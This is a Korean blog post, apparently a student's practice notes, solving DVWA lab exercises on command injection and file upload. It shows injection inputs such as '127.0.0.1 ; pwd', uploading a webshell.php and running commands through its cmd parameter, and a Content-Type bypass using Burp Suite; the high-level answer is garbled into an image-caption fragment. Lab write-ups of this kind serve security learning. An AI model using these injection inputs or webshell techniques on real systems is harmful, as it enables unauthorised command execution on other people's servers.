YYYEJI

[DVWA] 웹 모의해킹 실습 (Command Injection, File Upload) 본문

Security

[DVWA] 웹 모의해킹 실습 (Command Injection, File Upload)

YEJI ⍢ 2022. 7. 28. 21:55
728x90

Command Injection이란  ? ? ?

사용자가 입력하는 인자 값을 조작해서 OS 명령을 실행하는 공격기법입니다.

내려가면 답이 나와있기 때문에 먼저 풀어보세요 ! ! !

 

Command Injection - Low level

127.0.0.1 ; pwd

 

 

Command Injection - Medium level

127.0.0.1 &;&

 

 

Command Injection - High level

{"originWidth":2880,"originHeight":1800,"style":"alignCenter","caption":"127.0.0.1

 

 

File Upload - Low level

업로드 한 파일의 경로를 알아내서 url 입력창에 get 방식으로 명령어 작성해서 해킹하는 공격방식입니다.

파일 권한 변경해주기
이미지를 체크하는 부분이 없음.
webshell.php 파일을 만들어주기
webshell.php 파일을 업로드 해줌.
localhost/dvwa/hackable/uploads/webshell.php?cmd=ls
localhost/dvwa/hackable/uploads/webshell.php?cmd=whoami

URL 입력창이 Terminal이라고 생각하면 됩니다 ! ! !

 

 

File Upload - Medium level

Burp Suite 사용해서 풀기
Mideum level

 

 

파일 사이즈 등을 확인

MiME type - 클라이언트에게 전송된 문서의 다양성을 알려주기 위한 메커니즘이다.

text/plain
text/html
image/jpeg
image/png
audio/mpeg
audio/ogg
audio/*
video/mp4
application/octet-stream
…

 

 

파일 업로드 (이전 파일에서 이름만 변경함)
content type이 mime type (text/php)
content type을 image/png로 변경을 해주면 파일 업로드 가능
성공 ! ! !

 

 

FILE UPLOAD - 파일 권한을 주면 안 되고, PHP 작성할 수 없게 만들어야 됩니다 ! ! !

 

 

 

◡̈